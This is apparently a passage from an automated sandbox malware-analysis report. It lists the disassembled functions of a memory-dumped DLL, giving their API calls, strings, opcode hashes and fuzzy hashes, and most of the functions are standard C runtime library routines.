Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 1615890066-4289949731
Opcode ID: 6c4f0cee4adeed3b49a5c43feea420fd2bb3e84e76e58768ba56f5824eb7a8a4
Instruction ID: 01a3c012a8092ba4ae423f47e8db3972cd0f5f1fd14986f3afaef3afbbdad81e
Opcode Fuzzy Hash: 6c4f0cee4adeed3b49a5c43feea420fd2bb3e84e76e58768ba56f5824eb7a8a4
Instruction Fuzzy Hash: D131CA333041109BD3208E5CE840A5AFBA9EBA1765F75062FE251CBB40D772DC7087A1

Function 6CFBC23B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 6CFBC24E

Part of subcall function 6CFBC1A9: ___BuildCatchObjectHelper.LIBCMT ref: 6CFBC1DF

_UnwindNestedFrames.LIBCMT ref: 6CFBC265
___FrameUnwindToState.LIBCMT ref: 6CFBC273

Strings

csm, xrefs: 6CFBC23D
csm, xrefs: 6CFBC24A, 6CFBC25F, 6CFBC272, 6CFBC290, 6CFBC2A0

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: 2a3f766c9b4dac2ca2754d74b5085f77c001a70fed88627ce95d418e20d78339
Instruction ID: 8d2e9d563b9dc5a93361172d779c6afd7c48f6b2e5822642e9c032697486133f
Opcode Fuzzy Hash: 2a3f766c9b4dac2ca2754d74b5085f77c001a70fed88627ce95d418e20d78339
Instruction Fuzzy Hash: 5701F671401509BBDF126F92CC45EEB7F6AFF08358F104020BD5825A20D736D9B2DBA4

Function 6CF92300 Relevance: 7.8, APIs: 5, Instructions: 257COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 6CF923F3
_memmove.LIBCMT ref: 6CF92460

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: d3f7db18d1626d03cecf947cd6026d23532ec986eaa51ec770c27e263f9af250
Instruction ID: 9383a48fb159d8d90419996a391efd35f70074feed4652dee50c02aaa1cca73c
Opcode Fuzzy Hash: d3f7db18d1626d03cecf947cd6026d23532ec986eaa51ec770c27e263f9af250
Instruction Fuzzy Hash: F19192B16087019FEB14CF59D984A1BB7E9FF88704F204A2DE495C3B40E735E905CBA2

Function 6CF73C10 Relevance: 7.7, APIs: 5, Instructions: 186COMMON

Download Yara Rule

APIs

SafeArrayGetElement.OLEAUT32(?,?,CA0C7769), ref: 6CF73C49
VariantInit.OLEAUT32(?), ref: 6CF73C81
VariantClear.OLEAUT32(?), ref: 6CF73D26
VariantClear.OLEAUT32(?), ref: 6CF73D30
VariantClear.OLEAUT32(?), ref: 6CF73D89

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$Clear$ArrayElementInitSafe
String ID:
API String ID: 4110538090-0
Opcode ID: 7209eefb7c7914b226d8ff546da89bace22fc6181d283c3fbf54a52070bbad09
Instruction ID: b6778f2795f531b7d456a864d020d58da18a9070ce425e09c84305b97099474c
Opcode Fuzzy Hash: 7209eefb7c7914b226d8ff546da89bace22fc6181d283c3fbf54a52070bbad09
Instruction Fuzzy Hash: 1B618F76A00249EFCB00DFA8D984ADEB7B5FF49314F2585AEE515A7350C731AD09CB60

Function 6CF81D50 Relevance: 7.6, APIs: 5, Instructions: 144timesleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(CA0C7769), ref: 6CF81D91
timeGetTime.WINMM(CA0C7769), ref: 6CF81D9F
timeGetTime.WINMM ref: 6CF81DBB
timeGetTime.WINMM ref: 6CF81DC9
Sleep.KERNEL32(00000032), ref: 6CF81DDC

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Timetime$Sleep
String ID:
API String ID: 4176159691-0
Opcode ID: 0a016984abf3987f4694b64c64e8dd5cef5d8a1cced36d32c13a69a61f04b0bb
Instruction ID: 350a4dfda5348b3ad933f4d17811edb4cc360ecc9bda98b4ff1d182dc5eb7c0e
Opcode Fuzzy Hash: 0a016984abf3987f4694b64c64e8dd5cef5d8a1cced36d32c13a69a61f04b0bb
Instruction Fuzzy Hash: 5351D2B2E052449FDB10DFA9D885B9E7FB8FB05304F14866AD528E7B40D770DA44CBA1

Function 6CF66D40 Relevance: 7.6, APIs: 5, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

_rand.LIBCMT ref: 6CF66DEA

Part of subcall function 6CFB9E0C: __getptd.LIBCMT ref: 6CFB9E0C

std::exception::exception.LIBCMT ref: 6CF66E17
__CxxThrowException@8.LIBCMT ref: 6CF66E2C
std::exception::exception.LIBCMT ref: 6CF66E3B
__CxxThrowException@8.LIBCMT ref: 6CF66E50

Part of subcall function 6CFB9BB5: std::exception::exception.LIBCMT ref: 6CFB9C04
Part of subcall function 6CFB9BB5: std::exception::exception.LIBCMT ref: 6CFB9C1E
Part of subcall function 6CFB9BB5: __CxxThrowException@8.LIBCMT ref: 6CFB9C2F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$__getptd_malloc_rand
String ID:
API String ID: 2791304714-0
Opcode ID: 3d9339234f4ec78813fbac3383d69ab6f343f6c9d73337c7be5479a42b2c9f3f
Instruction ID: a3316ead2449c12efb95715293424218902dd20328229609133e156377d3f6cd
Opcode Fuzzy Hash: 3d9339234f4ec78813fbac3383d69ab6f343f6c9d73337c7be5479a42b2c9f3f
Instruction Fuzzy Hash: 8D3117B19007449FC750CF69C480A8AFBF4FB18314F54896EE85A97B41D775F608CB61

Function 6CF67750 Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000000,?,?), ref: 6CF67761
LeaveCriticalSection.KERNEL32(00000000,?), ref: 6CF67782
EnterCriticalSection.KERNEL32(00000018), ref: 6CF67796
LeaveCriticalSection.KERNEL32(00000018), ref: 6CF677CE
QueueUserWorkItem.KERNEL32(6CF81D50,00000000,00000010), ref: 6CF6780C

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ItemQueueUserWork
String ID:
API String ID: 584243675-0
Opcode ID: a931bc19cbe76eb8bd82b5cbed19d95da5f321fce8384ca25c0d4a7bd0a30ebc
Instruction ID: 125b5cc2049f9287aa247d366a457274f19f9db78368a9a36d22e4bc48a969fd
Opcode Fuzzy Hash: a931bc19cbe76eb8bd82b5cbed19d95da5f321fce8384ca25c0d4a7bd0a30ebc
Instruction Fuzzy Hash: 99217F72551209AFCB40CF65C944B9BBBF8FB45304F10895AE45687E50D730FA48CBA0

Function 6CF55AAC Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 6CF55ACB

Part of subcall function 6CFB9533: std::exception::_Copy_str.LIBCMT ref: 6CFB954E

__CxxThrowException@8.LIBCMT ref: 6CF55ABC

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

__CxxThrowException@8.LIBCMT ref: 6CF55AE0

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

std::exception::exception.LIBCMT ref: 6CF55B18
__CxxThrowException@8.LIBCMT ref: 6CF55B2D

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8Throw$std::exception::exception$Copy_strExceptionRaise_mallocstd::exception::_
String ID:
API String ID: 921928366-0
Opcode ID: 9ebfa0d674890f2ab3b192769f7331b27f0561ce034f8cd99a693fa21928b369
Instruction ID: cf1b2e532aec7bd55afc0abedcb2a38e0902072752405e3c8e4c0a075063eace
Opcode Fuzzy Hash: 9ebfa0d674890f2ab3b192769f7331b27f0561ce034f8cd99a693fa21928b369
Instruction Fuzzy Hash: 510121B28102087BDB04DFA5D845DDE77B8AF24344F448159E905A7A10EB30EB088BA1

Function 6CFBF03B Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6CFBF047

Part of subcall function 6CFBEAE6: __getptd_noexit.LIBCMT ref: 6CFBEAE9
Part of subcall function 6CFBEAE6: __amsg_exit.LIBCMT ref: 6CFBEAF6

__amsg_exit.LIBCMT ref: 6CFBF067
__lock.LIBCMT ref: 6CFBF077
InterlockedDecrement.KERNEL32(?), ref: 6CFBF094
InterlockedIncrement.KERNEL32(060A1658), ref: 6CFBF0BF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 273aab083b417148ab44a89472341b0b0624b9c3f396ff7a991d8b13f9aae5c8
Instruction ID: 5f09728da391f5de889a7188c067a4ab993af94aaf9cc721365fb83b64d68277
Opcode Fuzzy Hash: 273aab083b417148ab44a89472341b0b0624b9c3f396ff7a991d8b13f9aae5c8
Instruction Fuzzy Hash: 6101CC7AE02611ABCB90AF6784047DE7B78BF05798F114005E824B3FA4CB34A945CBE2

Function 6CFBF7BC Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6CFBF7C8

Part of subcall function 6CFBEAE6: __getptd_noexit.LIBCMT ref: 6CFBEAE9
Part of subcall function 6CFBEAE6: __amsg_exit.LIBCMT ref: 6CFBEAF6

__getptd.LIBCMT ref: 6CFBF7DF
__amsg_exit.LIBCMT ref: 6CFBF7ED
__lock.LIBCMT ref: 6CFBF7FD
__updatetlocinfoEx_nolock.LIBCMT ref: 6CFBF811

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 05f7602b93b11bb2ac4164c25af0445f48207d169060882445fb40579a3144b1
Instruction ID: a9138566eec22b280d3286bae30bb6f1588c949210e1a5862ea2704317b15c8f
Opcode Fuzzy Hash: 05f7602b93b11bb2ac4164c25af0445f48207d169060882445fb40579a3144b1
Instruction Fuzzy Hash: 53F0967AA452049BDBA0ABBB9801BCE76A4AF0072CF314189D45076BC0DB34554486A6

Function 6CF9E6E0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 331COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 6CF9E76F
_memcpy_s.LIBCMT ref: 6CF9E78B

Strings

, xrefs: 6CF9E85A

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _memcpy_s
String ID:
API String ID: 2001391462-3916222277
Opcode ID: 4da44c69f840903f22eff9f86819451341429ad79157bae5dbd8104a3709f26d
Instruction ID: 94f5ce90aa99b328cb639e0b5e020f4cdd426f946eb352e820b0aba35b414387
Opcode Fuzzy Hash: 4da44c69f840903f22eff9f86819451341429ad79157bae5dbd8104a3709f26d
Instruction Fuzzy Hash: 88C18D756093028FEB44CF29C880A6BB7E1FFC9318F144A2DE595C7650E771EA49CB82

Function 6CFB8B60 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 252COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 6CFB8C40
_memset.LIBCMT ref: 6CFB8C56
_memmove.LIBCMT ref: 6CFB8DA8

Strings

EncodingParameters, xrefs: 6CFB8CD6

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _memcpy_s_memmove_memset
String ID: EncodingParameters
API String ID: 4034675494-55378216
Opcode ID: c3848151504ee9de0fbd19a91bc216747266e94d1cfbe67d4e07921ee11a0144
Instruction ID: 26542c7d075493215e04ed38687afab391cf8f04db5a0925d0d445debda12f61
Opcode Fuzzy Hash: c3848151504ee9de0fbd19a91bc216747266e94d1cfbe67d4e07921ee11a0144
Instruction Fuzzy Hash: 469179B16093829FD700CF29C880B5BBBE5AFDA708F144A1EF89897351D771E945CB92

Function 6CF91200 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 244COMMON

Download Yara Rule

APIs

Part of subcall function 6CFAD820: _memmove.LIBCMT ref: 6CFAD930

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF5402A

__CxxThrowException@8.LIBCMT ref: 6CF913D4

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

Part of subcall function 6CF88D80: _malloc.LIBCMT ref: 6CF88D8A
Part of subcall function 6CF88D80: _malloc.LIBCMT ref: 6CF88DAF

Strings

: ciphertext length of , xrefs: 6CF912E4
doesn't match the required length of , xrefs: 6CF91316
for this key, xrefs: 6CF91348

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: _malloc$ExceptionException@8RaiseThrowXinvalid_argument_memmovestd::_
String ID: doesn't match the required length of $ for this key$: ciphertext length of
API String ID: 1025790555-2559040249
Opcode ID: 54d08fa19c13523a129508ac349e1ddf22e2343f64c575eb9701a2784b9bcc24
Instruction ID: bfe7a7cf71eee36650b368659859c464d2fc3801c1b8b0ea3da0b699215dccd2
Opcode Fuzzy Hash: 54d08fa19c13523a129508ac349e1ddf22e2343f64c575eb9701a2784b9bcc24
Instruction Fuzzy Hash: D4A15E755083809FD324DB69D880BDBF7E9AFD9304F548A1DE19983750EB70A909CBA3

Function 6CFBB47D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 6CFBB50D

Part of subcall function 6CFC1AA0: __87except.LIBCMT ref: 6CFC1ADB

Strings

pow, xrefs: 6CFBB4E5, 6CFBB502

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: f90c9fd14ceaced802335ecc633b73c03251a918473e0e23cffb62439f0717f4
Instruction ID: faf35cd38fbc4f518df4f4928425e4dd84171454d850ea8444bb111c18b34a34
